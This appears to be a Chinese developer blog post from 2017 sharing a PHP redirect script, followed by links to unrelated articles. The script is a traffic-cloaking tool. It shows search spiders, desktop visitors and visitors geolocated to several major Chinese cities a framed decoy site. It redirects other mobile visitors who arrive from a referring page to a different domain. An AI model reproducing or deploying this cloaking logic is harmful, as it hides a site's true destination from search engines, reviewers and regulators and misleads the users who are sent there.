php代码,做跳转用的好久没写了,记录一个

原创 2017年11月29日 14:58:01
<?php 
header('Content-Type:text/html;charset=UTF-8');

/*error_reporting(0);*/
//屏蔽的地区
$blockarea=array("北京","上海","广州","深圳","杭州","东莞","天津");
//判断是否蜘蛛
$tiaourl="http://mpv.shanxishiyuanweiye.com";
if(stripos($_SERVER['HTTP_USER_AGENT'],'spider')>0) exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');
if(!isMobile()) exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');
$cip=get_client_ip();
$html = "http://ip.ws.126.net/ipquery?ip=".$cip;
//$html = "http://ip.ws.126.net/ipquery?ip=223.91.245.2";
$data = http_curl($html);
preg_match('|localAddress=(.*)|i',$data,$vid);
$vid[1] = iconv('GB2312','utf-8',$vid[1]);
$vid[1] = str_replace(array('省','市'),'',$vid[1]);
$tihuan = str_replace(array('city','province'),array('"city"','"province"'),$vid[1]);
$arr = json_decode($tihuan,true); 
$province=$arr["province"];
$city=$arr["city"];
if(in_array($province,$blockarea))exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');
if(in_array($city,$blockarea))exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');

if (isset($_SERVER['HTTP_REFERER']))
 {header("location:http://www.imiao7.cn/");}
else
{echo('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');}



/*echo $province;
echo $city;*/

function http_curl($url){
    $curl = curl_init();
    curl_setopt($curl,CURLOPT_URL,$url);
    curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
    $data=curl_exec($curl);
    curl_close($curl);
    return $data;
}
function isMobile()
{
    if (isset ($_SERVER['HTTP_X_WAP_PROFILE']))
    {
        return true;
    } 
    if (isset ($_SERVER['HTTP_VIA']))
    { 
        return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
    } 
    if (isset ($_SERVER['HTTP_USER_AGENT']))
    {
        $clientkeywords = array ('nokia',
            'sony',
            'ericsson',
            'mot',
            'samsung',
            'htc',
            'sgh',
            'lg',
            'sharp',
            'sie-',
            'philips',
            'panasonic',
            'alcatel',
            'lenovo',
            'iphone',
            'ipod',
            'ipad',
            'blackberry',
            'meizu',
            'android',
            'netfront',
            'symbian',
            'ucweb',
            'windowsce',
            'palm',
            'operamini',
            'operamobi',
            'openwave',
            'nexusone',
            'cldc',
            'midp',
            'wap',
            'mobile'
            ); 
        if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT'])))
        {
            return true;
        } 
    } 
    if (isset ($_SERVER['HTTP_ACCEPT']))
    {
        if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html'))))
        {
            return true;
        } 
    } 
    return false;
} 
function get_client_ip(){ 
	if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
	$ip = getenv("HTTP_CLIENT_IP"); 
	else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
	$ip = getenv("HTTP_X_FORWARDED_FOR"); 
	else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
	$ip = getenv("REMOTE_ADDR"); 
	else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
	$ip = $_SERVER['REMOTE_ADDR']; 
	else 
	$ip = "unknown"; 
	return($ip); 
} 
?>



版权声明:本文为博主原创文章,未经博主允许不得转载。

如何统计自己写了多少代码

心血来潮,学了快一年java了,想看看自己写了多少行代码,基本思路是当初看毕向东视频时,讲过如何遍历文件, 然后自己添加了记录行数的功能,代码早就写好了,就是懒得放到博客上,现在放上来,代码如下: ...
  • yj7758423
  • yj7758423
  • 2016年01月06日 11:03
  • 635

青蛙跳台阶衍生之变态跳台阶(递归,思路分析及代码实现)

//一只青蛙一次可以跳上1级台阶,也可以跳上2级……它也可以跳上n级。求该青蛙跳上一个n级的台阶总共有多少种跳法。 //思路: 接上一个跳台阶问题思路继续分析,上个问题中,青蛙只能跳1级或者2级。...
  • ssopp24
  • ssopp24
  • 2017年07月21日 00:18
  • 819

PHP 页面跳转到另一个页面的多种方法方法总结

一、用HTTP头信息  也就是用PHP的HEADER函数。PHP里的HEADER函数的作用就是向浏览器发出由HTTP协议规定的本来应该通过WEB服务器的控制指令,例如声明返回信息的类型("Conte...
  • u013091013
  • u013091013
  • 2016年12月28日 10:57
  • 835

PHP实现将浏览历史页面

这篇文章主要介绍了PHP实现将浏览历史页面网址保存到cookie的方法,涉及php对cookie的读取、字符串转化及保存等技巧,需要的朋友可以参考下 本文实例讲述了PHP实现将浏览历史页...
  • index_ling
  • index_ling
  • 2016年12月14日 20:41
  • 1198

android studio 下,Activity跳转之共享元素

前面在android 中,5.0以前,我们可以利用 google 提供的api来完成转场动画,使界面的跳转顺滑。5.0,Android提供了一种叫做:共享元素。实现,转场时界面如丝般顺滑的过渡,为5....
  • KasierYang
  • KasierYang
  • 2015年11月18日 14:19
  • 1423

php+mysql 最简单的留言板

学完了记得动手操作。
  • think_ycx
  • think_ycx
  • 2015年08月13日 01:07
  • 1973

php 跳转控制

Document function jump(){ window.location="http://localhost:8080/thinkphp/index.php/User/ad...
  • zhaoyangjian724
  • zhaoyangjian724
  • 2016年07月03日 09:58
  • 431

IOS 页面跳转方法(采用Storyboard或者纯代码)

IOS页面跳转主要分为两种方式:  1,采用XCode最新的storyboard模板,通过segue 的方式,基本不用写代码,非常的方便,适合个人开发者,做项目不大的开发简直是利器。但是由于story...
  • xzafei
  • xzafei
  • 2014年02月23日 14:51
  • 4129

PHP用户登录后跳转回上一访问页面的实现思路及代码

项目需求 访问网站页面时,有的页面需要授权才能访问,这时候就会要求用户登录,跳转到登录页面login.php,怎么实现登录后返回到刚才访问的页面。 解决思路1: 在跳转到登录页面之前要将当前访问...
  • youcijibi
  • youcijibi
  • 2017年08月03日 15:20
  • 752

php统计网站/html页面浏览访问次数程序

本文章来给大这介绍了php自己写的一些常用的网站统计代码写法,用无数据库的与使用数据库及html静态页面浏览资次数统计代码,大家可进入参考。 实例1 直接使用txt文件进行统计的代码 ...
  • cluzax
  • cluzax
  • 2015年03月05日 10:37
  • 5712
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:php代码,做跳转用的好久没写了,记录一个
举报原因:
原因补充:

(最多只允许输入30个字)